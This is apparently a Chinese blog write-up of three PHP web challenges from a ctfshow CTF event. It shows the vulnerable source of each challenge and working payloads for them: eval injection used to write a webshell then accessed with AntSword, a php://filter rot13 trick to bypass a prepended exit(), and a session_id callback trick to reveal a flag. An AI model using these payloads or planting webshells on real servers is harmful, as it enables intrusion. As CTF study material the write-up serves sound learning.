ctfshow 新春欢乐赛

热身

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


eval($_GET['f']);

用phpinfo看了一下没有禁用函数貌似

http://27abbe71-e00a-4609-9b50-b878fcfcc086.challenge.ctf.show/?f=file_put_contents('1.php','FILE);?>');

写入一句话木马发现

类容被函数append重定向到了index.php

去phpinfo找append配置

用蚁剑连接shell访问

web1

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

写入函数:file_put_contents('filename','data')

这里被data的内容貌似被写死了

绕过方法:-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_Zero_Adam的博客-CSDN博客

payload:http://84d5fea7-28f5-4c24-bd84-b36447a6e2df.challenge.ctf.show/?content=php://filter/write=string.rot13||/resource=shell.php

web2

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>

if (call_user_func($$$$$${key($_POST)})==="HappyNewYear")

这里是关键回调函数,接收POST数据,要写一个可用的函数满足内容等于HappyNewYear

思路一开始是看看有没有能接收useragent的函数,抓包修改useragent内容为'HappyNewYear' 可惜没找到

然后找到一个接收session_id的函数

payload:POST session_id=session_id

抓包:phpsessionid=HappyNewYear

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值